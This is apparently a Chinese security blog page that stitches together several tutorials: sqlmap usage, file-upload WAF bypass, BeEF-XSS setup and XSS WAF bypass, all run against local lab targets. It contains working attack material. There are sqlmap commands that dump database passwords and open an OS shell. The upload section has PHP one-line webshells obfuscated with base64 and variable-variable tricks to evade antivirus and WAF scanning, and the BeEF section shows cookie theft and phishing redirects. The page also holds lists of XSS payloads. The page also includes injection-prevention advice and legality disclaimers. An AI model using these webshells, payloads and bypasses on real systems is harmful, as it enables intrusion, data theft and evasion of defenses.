忽略会话文件中存储的查询结果 --gpage=GOOGLEPAGE 使用指定的页码从Google dork结果中获取 --har=HARFILE 将所有HTTP流量记录到HAR文件中 --hex 在数据检索过程中使用十六进制转换 --output-dir=OUT.. 自定义输出目录路径 --parse-errors 解析和显示来自响应的DBMS错误消息 --preprocess=PRE.. 用于预处理的给定脚本(请求) --postprocess=PO.. 用于后处理的给定脚本(响应) --repair 重新转储具有未知字符标记(?)的条目 --save=SAVECONFIG 将选项保存到配置INI文件中 --scope=SCOPE 用于过滤目标的正则表达式 --skip-heuristics 跳过启发式检测漏洞 --skip-WAF 跳过启发式检测WAF/IPS保护 --table-prefix=T.. 用于临时表的前缀(默认值:"sqlmap") --test-filter=TE.. 通过负载和/或标题选择测试(例如ROW) --test-skip=TEST.. 通过负载和/或标题跳过测试(例如BENCHMARK) --time-limit=TIM.. 以秒为单位设置运行时间限制(例如3600) --web-root=WEBROOT Web服务器文档根目录(例如"/var/www") 杂项: 这些选项不属于任何其他类别 -z MNEMONICS 使用短助记符(例如"flu,bat,ban,tec=EU") --alert=ALERT 在发现SQL注入时运行主机操作系统命令 --beep 在提问时和/或发现漏洞时发出蜂鸣声 --dependencies 检查缺失的(可选的)sqlmap依赖项 --disable-coloring 禁用控制台输出着色 --list-tampers 显示可用的篡改脚本列表 --no-logging 禁用日志记录到文件 --offline 在离线模式下工作(仅使用会话数据) --purge 安全地从sqlmap数据目录中删除所有内容 --results-file=R.. 多目标模式下CSV结果文件的位置 --shell 提示进行交互式sqlmap shell --tmp-dir=TMPDIR 用于存储临时文件的本地目录 --unstable 调整不稳定连接的选项 --update 更新sqlmap --wizard 面向初学者用户的简单向导界面 sqlmap基本参数使用以下是sqlmap的一些参数的基本使用,高级用法自行琢磨-u 指定一个urlsqlmap -u 'http://192.168.209.131/Less-1/?id=1'-m 指定一个文件中的多个urlsqlmap -m url.txt逐个扫描url,需要确认就按y。扫描完一个,就会提示是否存在注入点。之后进行第二个url扫描或者使用 -batch默认sqlmap -m url.txt -batch使用–batch参数,可以在所有需要用户输入的部分(通常是询问执行yes还是no,Y/N),执行默认操作,即选项大写的那个,不需要用户再输入--dbms指定该网站数据库类型sqlmap支持的数据库包括且不限于 MySQL Oracle PostgreSQL Microsoft SQL Server Microsoft Access IBM DB2 SQLite Firebird Sybase SAP MaxDB sqlmap默认情况下会自动检测Web应用程序的后端数据库的类型。在我们明确知道测试的数据库类型时,可以使用--dbms可以指定数据库。sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --dbms='mysql'--current-db获取网站当前使用的数据库sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --dbms='mysql' --current-db-b获取数据库版本sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -b--current-user获取当前用户sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --current-user--users 获取所有用户sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -users--passwords 获取用户密码sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --passwords得到结果--privileges获取用户权限sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --privileges最后面显示每个数据库用户所拥有的权限。这里root的权限最多,很明显它就是数据库的管理员账号。判断当前数据库是否是管理员账号(这里不知道为什么显示为False,前面使用privileges明明root权限最多)sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --is-dba列出指定/所有的数据--dbs列出所有的数据库sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --dbs指定数据库/表/字段-D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。-T 指定目标「表」,单/双引号包裹,常配合其他参数使用。-C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -D 'security' -T 'users' -C 'username' --dump--tables 列出指定数据库中所有的表sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -D security --tables--columns 列出指定数据库中的表的全部列sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -D security -T users --columns--schema 枚举DBMS模式获取字段类型,可以指定库或指定表。不指定则获取数据库中所有字段的类型。--dump 转储DBMS数据库表条目(当前数据库/表/列中的所有内容)--dump-all 转储所有DBMS数据库表条目(爆出整个mysql数据库的数据内容)--hostname获取主机名称sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --hostnamepost注入,要求使用burp suite抓包,将这个包中的信息,保存到一个txt文件中-r指定需要检测的文件sqlmap -r bp.txt--cookie 指定cookie信息,模拟用户登录sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --cookie='cookie'-a 等同于 -all 获取所有能获取的内容,会消耗很长时间。sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -a--search 搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名。比如我需要搜索security这个数据库模糊搜索一个表名sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -T 'ser' --search这里有两个选项,选项一表示根据关键字模糊搜索,选项二表示精准搜索搜索结果精准搜索某一个表名sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -T 'users' --search当然也可以指定 -D 数据库,-C 字段搜索使用--flush-session参数表示清除当前目标的会话文件。 sqlmap在测试某一目标URL后会生成session文件,该文件保存了本次测试的结果信息。当我们再次测试该目标URL时,会自动加载上一次的结果就比如我们已经绕过了某个WAF,并且取得了数据结果sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --tamper "bypassDog2.py" --level 5 --random-agent --dump -batch此时我们不使用脚本,使用普通的一个payload,这个时候就直接出结果了sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id'如果我们想要继续之前的测试,包含WAF的测试过程就需要使用清除缓存--flush-session,一切正常--technique 使用方法:sqlmap -u URL --technique 注入类型选项(可多种组合) 使用--flush-session参数可用于指定要测试的SQL注入类型,默认情况下,sqlmap会测试所有的注入类型。如果想指定测试某几种诸如类型,可以使用--technique指定。sqlmap针对每一种类型,提供了字母选项,可以组合字母选项来指定多种注入类型进行测试。备注:注入类型对应的参数 B:基于布尔的盲注 E:基于错误 U:基于联合查询 S:堆叠查询 T:基于时间的盲注 Q:内联查询 使用示例:sqlmap -u URL --technique BE表示仅测试布尔盲注和基于报错的注入。默认为BEUSTQ没有设置ua头的时候,默认是sqlmap的请求头,很容易被网站检测到sqlmap -u 'http://192.168.3.100:88/Less-1/?id=1' -p 'id' -v 6--random-agent 使用方法:sqlmap -u URL --random-agent 使用--random-agent参数可以指定随机选择请求头中的User-Agent。 sqlmap默认使用sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org) 作为User-Agent执行HTTP请求,如下:sqlmap -u 'http://192.168.3.100:88/Less-1/?id=1' -p 'id' --random-agent -v 6--user-agent使用方法:sqlmap -u URL --user-agent="自定义User-Agent" 使用--user-agent参数可指定自定义User-Agent--mobile #模拟手机请求使用手机UA头的模拟,并根据提示选择模拟的手机类型--level 使用方法:Python sqlmap.py -u URL --level 等级 使用--level参数可指定payload测试复杂等级。共有五个级别,从1-5,默认值为1。等级越高,测试的payload越复杂,当使用默认等级注入不出来时,可以尝试使用–level来提高测试等级。--os-shell这个参数使用之前必须确保网站的mysql允许文件读写的路径不为NULL,登录你的mysqlmysql>show global variables like "secure_file_priv";解决办法在mysql目录中找到my.ini,添加如下内容,然后重启mysql重启之后这里我们假设已经知道了网站的目录为:E:phpstudy_proWWWsqliLess-2sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --os-shell尝试执行命令,执行成功--web-root指定网站目录sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --web-root='E:phpstudy_proWWWsqliLess-2' --os-shell这样我们就不用在交互式选项中输入网站路径了,直接得到shell安全狗WAF绕过网站使用的是sqli靶场进行测试http://192.168.209.131/Less-2/?id=1%27%20and%201=1安全狗waf环境,payload示例sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --level 5 --random-agent --flush-session --dump提示我们有waf拦截--identify-waf 识别waf,貌似不能用了sqlmap自带的WAF绕过--skip-waf脚本使用,将脚本传入到这个路径bypassDog2.py(攻击脚本具有危害性,作者不予提供,以下仅供参考,也可以使用kali自带的sqlmap攻击脚本进行测试)/usr/share/sqlmap/tamper/指定脚本--tamper "bypassDog.py"一个完整sqlmap使用脚本示例sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --tamper "bypassDog2.py" --level 5 --random-agent --dump当然,如果网站使用了ip封禁机制,可以使用代理或者代理池sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --tamper "bypassDog2.py" --level 5 --random-agent --proxy='http://xxx.xxx.xxx.xxx:端口号' --dumpsql注入的预防1. 使用参数化查询(Prepared Statements)参数化查询是预防SQL注入的最有效方法之一。通过将SQL代码和查询参数分开,可以防止恶意SQL代码的执行。大多数现代数据库接口都支持参数化查询。示例(Python 使用 psycopg2 连接 PostgreSQL):import psycopg2 # 连接数据库 conn = psycopg2.connect("dbname=test user=postgres") cur = conn.cursor() # 使用参数化查询 user_input = "O'Reilly" # 尝试注入的输入 cur.execute("SELECT * FROM users WHERE username = %s", (user_input,)) rows = cur.fetchall() for row in rows: print(row) cur.close() conn.close()示例(PHP 使用 PDO):<?php $host = '127.0.0.1'; $db = 'test'; $user = 'root'; $pass = ''; $charset = 'utf8mb4'; $dsn = "mysql:host=$host;dbname=$db;charset=$charset"; $options = [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, ]; try { $pdo = new PDO($dsn, $user, $pass, $options); $user_input = "O'Reilly"; // 尝试注入的输入 $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username"); $stmt->execute(['username' => $user_input]); $result = $stmt->fetchAll(); print_r($result); } catch (PDOException $e) { throw new PDOException($e->getMessage(), (int)$e->getCode()); } ?>2. 使用ORM(对象关系映射)ORM框架如Hibernate、Django ORM等,内部实现了参数化查询,从而自动防止SQL注入。使用ORM可以简化数据库操作,同时提高安全性。示例(Django ORM):from myapp.models import User user_input = "O'Reilly" # 尝试注入的输入 users = User.objects.filter(username=user_input) for user in users: print(user.username)3. 严格限制数据库权限确保数据库用户只拥有执行其所需操作的最小权限集。例如,一个Web应用程序的用户数据库账户可能只需要对特定表的SELECT和UPDATE权限,而不需要对数据库的DROP或ALTER权限。4. 使用Web应用防火墙(WAF)部署Web应用防火墙可以检测和阻止SQL注入攻击。WAF可以识别并拦截包含潜在恶意SQL代码的HTTP请求。5. 输入验证虽然输入验证不是防止SQL注入的可靠方法(因为它可能无法覆盖所有可能的注入场景),但它可以作为额外的安全层。验证所有用户输入,确保它们符合预期的格式和类型。总结通过本文的学习,读者不仅掌握了sqlmap的基本使用方法,还深入了解了其高级特性和绕过技巧。从目标URL的指定、请求参数的配置,到注入技术的选择、数据库信息的枚举,再到操作系统命令的执行,sqlmap展现出了其作为渗透测试工具的强大功能和灵活性。在实际应用中,sqlmap能够帮助安全研究人员和渗透测试人员快速发现Web应用程序中的SQL注入漏洞,并通过进一步的枚举和分析,揭示潜在的安全风险。同时,通过合理的配置和技巧应用,sqlmap还能有效绕过WAF等安全防护措施,提高渗透测试的成功率。然而,值得注意的是,sqlmap作为一款强大的渗透测试工具,其使用必须遵守法律法规和道德规范。未经授权的渗透测试可能构成非法行为,因此在使用sqlmap进行渗透测试时,务必确保已获得合法授权,并遵守相关安全政策和标准。总之,sqlmap是安全研究和渗透测试中不可或缺的工具之一。通过本文的学习,读者不仅能够掌握其基本和高级用法,还能在实际操作中灵活运用,提高渗透测试的效率与成功率,为Web应用程序的安全防护贡献力量。文章参考:https://blog.csdn.net/weixin_43819747/article/details/136736688https://blog.csdn.net/qq_45927266/article/details/119297840原文:https://mp.weixin.qq.com/s/j6lN3j7rtALUX4gAH5ll3Q
2025年05月18日
701 阅读
0 评论
0 点赞
2025-05-18
文件上传10种waf绕过姿势
基础篇:https://mp.weixin.qq.com/s/od0djMG4iwO755N2YgDAHg环境搭建首先去官网下载安全狗,进行网站配置,或者后台回复【安全狗】,靶场源码和WAF软件都准备好了,都是最新版本的,直接下载就行安全狗配置文件防护规则这里用upload-labs中的第六关进行文件上传测试第六关是在文件后缀添加一个空格就可以上传成功WAF环境已搭好WAF绕过基于文件名称的绕过%00截断首先上传一个php文件,抓包文件后面添加;.jpg将;的hex编码替换为00,造成00截断,如下效果知识扩展%00截断是一种在文件上传或URL处理过程中常见的安全绕过技术,它利用了某些编程语言或系统在处理字符串时的一个特性:即当遇到空字符(null character,ASCII码为0,即�或%00在URL编码中)时,会认为字符串已经结束,从而忽略了空字符之后的所有内容。可以看到,虽然绕过了WAF还是有代码红色警告没有上传成功,这个时候我们就可以在原来有代码漏洞的情况下,进行绕过,原来代码存在空格绕过,这里我们就用空格进行绕过,添加一个空格上传成功,点击查看源码,就可以看到文件上传的位置(这个图片的位置)多个等号这个操作就更简单了,直接在文件名的位置把一个等于换成多个等于,也能绕过WAF,此时再在末尾加空格,直接成功上传,如下哈哈,没有成功,原文是这样写的,可能已经修复了基于内容拦截绕过此时我们访问,这个php文件被拦截了,这就是基于内容的拦截,像经常使用的一句话木马都会被安全狗绕过[1].畸形传参木马这里要用到hackerbox谷歌插件或者使用火狐浏览器,默认下载不是破解的,我准备好了破解版本,后台私信【hackbox】即可<?php $a = $_GET['x']; $$a = $_GET['y']; $b($_POST['z']);//调用 $b 变量所引用的函数,并将 $_POST['z'] 的值作为参数传递给它。 ?>我们所使用的一句话木马是市面上最为常见的类型,因此几乎所有的WAF(Web应用防火墙)都能识别并拦截这段内容。这正是导致我们上传后无法访问的根本原因。为了验证这一点,你可以尝试开启安全狗的木马扫描功能,看看它是否能被检测出来,从而判断其是否具备免杀能力。上图可以看到并没有检测到,用get方式传如参数x和y,值分别为b和assert ,再用POST方式传如参数z,值为自己想执行的命令[2].经典编码木马通过assert函数的base64编码后的拼接即可绕过,如下:<?php $e=base64_decode("hellow小羽网安"); $e($_POST['aa']); ?>免杀情况我们将中文放在了后面,此时出现拦截我放在前面试试,还是拦截穿插进去,就可以了,不知道是什么原理,php特性、base64编码检测,还是安全狗防护机制,有大佬路过指教一下,谢谢你执行成功上面的绕过方式不可避免都有一些问题,那就是传参时使用了敏感关键字,比如phpinfo()之类的,有一些防火墙就会检测传入的参数是否含有敏感内容(例如宝塔),那这时候我们怎么办呢?我们可以把传参使用的敏感关键字变成其他编码格式,比如base64,再在一句话木马中对传入的参数先做一个解码操作,如下在木马中添加解码操作<?php $e=base64_decode("YX小羽网安NzZ公众号XJ0"); $e(base64_decode($_POST['aa'])); ?>这个时候我们就可以将phpinfo拿去base64进行加密这个时候就可以执行php代码了,绕过了关键字的检测其他失败案例参考复写失败脏数据绕过失败修改为单引号失败去掉双引号失败.php放到引号的外面上传成功,但是并没有这个php文件查看上传之后的文件,并不是php文件那不加后缀试试,显示文件内容,并没有执行所以使用蚁剑也连接不了数据截断绕过-防匹配(; / 换行)失败参数多次失败总结本教程通过实际搭建环境,展示了文件上传中WAF的多种绕过技巧,包括%00截断、畸形传参木马、经典编码木马等。尽管部分绕过方法因WAF更新而失效,但实验过程揭示了安全机制与绕过技术的博弈。通过不断尝试与创新,攻击者总能找到新的突破点,而防御方则需持续更新策略以应对新威胁。这强调了持续安全监测与加固的重要性。网安学习不迷路,欢迎各位大佬加入讨论
2025年05月18日
2,052 阅读
0 评论
0 点赞
2025-05-18
Kali下安装与使用BeEF-xss
早八人,护网在即,该学习了~前言BEEFXSS(Browser Exploitation Framework XSS),更常见的称呼是BeEF(The Browser Exploitation Framework),是一个开源的浏览器漏洞利用框架。它由Michał Zalewski于2006年创建,旨在帮助渗透测试人员评估Web浏览器的安全性,发现并利用其中的漏洞。XSS基础篇:https://mp.weixin.qq.com/s/RJcOZuscU07BEPgK89LSrQXSSWAF绕过篇:https://mp.weixin.qq.com/s/P2AX2ebnzaCw-NoNwLwIRA工具使用更新源apt-get update 安装apt-get install beef-XSS 输入账号密码,本身默认的密码和账号分别为 beef 和 beef启动beef-XSS得到js文件攻击载荷即XSS的js脚本地址,链接为你的IP地址+端口下的js访问面板 http://:3000/ui/panl账号:beef, 密码:是你在上面输入的密码(这里我输入的是:root)存储型XSS利用,当然也可以使用其他具有XSS漏洞的平台,比如XSSlabs使用script标签链接你攻击机器的脚本地址,提交即可好,找到一个具有xss漏洞的界面,执行script这里已成功上限log日志,获取浏览器的基本信息,当前在哪个页面,是否聚焦,鼠标在那个位置等等获取cookie选中靶机,在Command面板找到GetCookie命令并执行,比如获取cookie,这里直接获取到了cookie信息配合钓鱼重定向,即你访问具有存储型XSS的界面的时候,他会自动跳转到你预设的链接(钓鱼)地址引导下载当然也可以将跳转的链接转化为图片,比如使用img标签,链接到这个图片如果payload过长输入不了就可以使用短链、短链生成一些好玩的命令命今颜色(Color):绿色对目标主机生效并且不可见(不会被发现)橙色对目标主机生效但可能可见(可能被发现)灰色对目标主机来未必生效(可验证下)红色对目标主机不生效beef-xss主要模块Browser:此模块主要针对浏览器进行信息收集或攻击。其子选项卡“Hooked Domain”能够获取HTTP属性值,如cookie、表单值等,并执行简单的浏览器操作,例如替换href值、弹出警告框、重定向浏览器等。部分模块会根据受害者的浏览器类型来决定是否显示,主要涉及浏览器通用操作和其他基本信息检测。Chrome Extensions:此模块专门针对谷歌浏览器的扩展插件进行信息收集或攻击。Debug:提供调试功能,用于测试和修复Beef框架中的问题。Exploits:此模块利用已公开的漏洞进行攻击测试,帮助用户了解系统或应用的安全性。Host:针对主机进行信息收集,如检测主机的浏览器、系统信息、IP地址、安装软件等。IPEC:负责协议间通信,主要用于连接和控制受害者的浏览器。Metasploit:Beef可与Metasploit平台联合配置,一旦有受害者出现,可通过信息收集确定是否存在漏洞,进一步方便进行Metasploit攻击测试。Misc:包含一些杂项功能,提供额外的工具和选项。Network:进行网络扫描,帮助用户了解网络环境和潜在的安全风险。Persistence:维护受害者访问,确保长时间对受害者进行监控和控制。Phonegap:针对手机设备进行测试,帮助用户了解移动设备的安全性。Social Engineering:利用社会工程学方法进行攻击,通过诱导、欺骗等手段获取受害者的敏感信息或执行恶意操作。听说护网很激烈啊ოර⌄රო ~~~~
2025年05月18日
1,180 阅读
0 评论
0 点赞
2025-05-18
【WAF剖析】10种XSS某狗waf绕过姿势
XSS 基础:Web安全中的XSS攻击详细教学,XSS-Labs靶场通关全教程(建议收藏)(一)、Web安全中的XSS攻击详细教学(二)--已完结如果懒得找靶场和安全狗防火墙后台回复【靶场】即可获取image-20240722161008610复现网站安全狗最新 v4.0 已经准备好image-20240722104320515这里用 XSSlab 进行 WAF 绕过测试image-20240722102257861还是一样安全狗 WAF 测试http://192.168.209.149/level1.php?name=<script>alert("hellow world")</script>image-20240722102220534基础 payloadphp<?phpecho "<script>alert(1)</script>";?>img<img SRC=JavaScript:alert("XSS")><IMG SRC=JavaScript:alert(String.formCharCode(88,83,83))><img scr="URL" style='XSS:expression(alert(XSS));'><img SRC="x" onerror=alert(1)><img SRC="x" οnerrοr=eval("alert('XSS')")><img SRC=x οnmοuseοver=alert('XSS')>css<img STYLE="background-image:url(JavaScript:alert('XSS'))">formXSS利用方式1<form action=JavaScript:alert('xss') method="get"><form action=JavaScript:alert('xss')>XSS利用方式2<form method=post action=aa.asp? οnmοuseοver=prompt('xss')><form method=post action=aa.asp? οnmοuseοver=alert('xss')><form action=1 οnmοuseοver=alert('xss')>input<input name="name" value=""><input value="" οnclick=alert('xss') type="text"><input name="name" value="" οnmοuseοver=prompt('xss') bad=""><input name="name" value=""><script>alert('xss')</script>iframe<iframe SRC=JavaScript:alert('xss');height=5width=1000 /><iframe><iframe SRC="data:text/html,<script>alert('xss')</script>"></iframe><!--原code--><iframe SRC="data:text/html;base64,<script>alert('xss')</script>"><!--base64编码--><iframe SRC="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="><iframe SRC="aaa" οnmοuseοver=alert('xss') /><iframe><iframe src="JavaScript:prompt(`xss`)"></iframe>经过测试以上内容皆执行不了,但是还有一个svg没测试svg!成功了一个,看来 v4.0 的安全狗没有对 svg 进行防护,payload 如下<svg onload=alert(1)>image-20240722103703228常见的 WAF 绕过 payload1.大小写绕过<sCript>alert(1)</Script>image-202407221300440002、双写绕过image-202407221309172023、imgimage-202407221309530464、onmouseover 事件当用户鼠标移动时即可运行代码 image-20240722131108228当用户鼠标在这个块上面时即可运行(可以配合 weight 等参数将 div 覆盖页面,鼠标不划过都不行)image-202407221313538565、onclick 事件buttonimage-202407221317099956、onload 事件例如<svg onload=alert(1)>之前已经测试过了,svg 的 onoad 事件可以7、编码脚本绕过关键字image-202407221322232148、主动闭合标签实现注入代码image-202407221341403009、绕过 HTML 注释符image-2024072213461653010、利用换行符绕过image-2024072213474591411、绕过右标签image-2024072213480705012、绕过</内容>image-20240722134857902字典爆破image-20240722135712030这个时候直接一个一个去访问即可image-20240722141703806这里我们找到一个 iframe 的 payload,尝试访问,成功加载,但是看源码,标签没有闭合image-20240722141540870我们在 url 中闭合这个标签,就可以了image-20240722141917556绕过思路一、更改提交方式在默认配置下,为了节省资源,许多 WAF 只会对 GET 请求进行过滤拦截,而忽略了对 POST 请求、Cookie、HTTP Header 等其他提交方式的检测。因此,攻击者可以尝试更改有害语句的提交方式,如将 GET 请求修改为 POST 请求,或者通过 Cookie、HTTP Header 等方式提交恶意脚本,以绕过 WAF 的拦截。二、混淆伪装绕过混淆伪装是一种常见的绕过 WAF 的手段,攻击者通过编码、大小写混淆、双写、转义字符等方式对恶意脚本进行伪装,使其绕过 WAF 的关键词过滤规则。例如,将 JavaScript 代码中的关键字进行大小写混淆(如三、标签和事件函数变换XSS 攻击主要是通过触发 HTML 标签中的事件函数来执行恶意脚本。因此,WAF 会重点识别能够触发事件函数的 HTML 标签和事件函数字段。攻击者可以尝试使用其他可以执行 JavaScript 代码的 HTML 标签(如 , , 等)替换常用的四、利用 WAF 的缺陷和配置不当「增加 WAF 负担」:有些 WAF 在处理大量数据时可能会降低检测精度或放弃检测部分数据包。攻击者可以通过向 WAF 发送大量正常数据包并夹杂异常数据包的方式,增加 WAF 的负担,从而绕过 WAF 的检测。「利用 WAF 配置不当」:WAF 的配置可能存在漏洞或不当之处,如只检测部分参数、忽略某些类型的请求等。攻击者可以通过分析 WAF 的配置规则,构造绕过 WAF 检测的请求。「旁站绕过」:在某些情况下,网站管理员可能只对主站进行了 WAF 防护,而忽略了旁站或子域名的防护。攻击者可以尝试通过旁站或子域名绕过 WAF 的防护。五、使用自动化工具自动化工具如XSStrike 等可以帮助攻击者自动测试 WAF 的防护效果,并生成绕过 WAF 的 payload。这些工具通常包含多种绕过 WAF 的技巧和策略,可以显著提高攻击的成功率。❝XSStrike 开源地址:https://github.com/s0md3v/XSStrike❞六、其他技巧「利用伪协议」:某些 HTML 属性支持伪协议(如JavaScript: ),攻击者可以利用这些属性执行恶意脚本。「利用 CSS 跨站」:在某些情况下,攻击者可以利用 CSS 中的某些特性(如expression() )执行 JavaScript 代码。「利用全局变量和函数」:JavaScript 中的全局变量和函数(如eval() , window.onload 等)可以在不直接引用脚本标签的情况下执行代码,攻击者可以尝试利用这些变量和函数绕过 WAF 的防护。七、举例这里我就拿标签事件函数变换来举例、首先判断标签名称,是否可用比如iframe ,它可以正常访问,说明 标签没有进行过滤http://192.168.209.149/level1.php?name=<iframe>image-20240722143819570标签没有进行过滤,尝试闭合这个标签,ok 正常访问image-20240722144155301判断属性 src,好没有过滤image-20240722144230962加了个= 就被拦截了,这时候没法继续了,换个事件试试image-20240722144259675image-20240722144611518这里拿 onload 尝试image-20240722144645731❝需要注意的是,以上绕过 WAF 的思路和技巧仅供学习和研究网络安全使用,不得用于非法攻击和破坏活动。在实际应用中,网站管理员和 WAF 开发者应不断更新和完善 WAF 的防护策略,提高网站的安全性。❞SQL 注入 WAF 绕过文章参考:SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细、SQL注入某狗WAF绕过(补充)
2025年05月18日
1,460 阅读
0 评论
0 点赞
1
2
3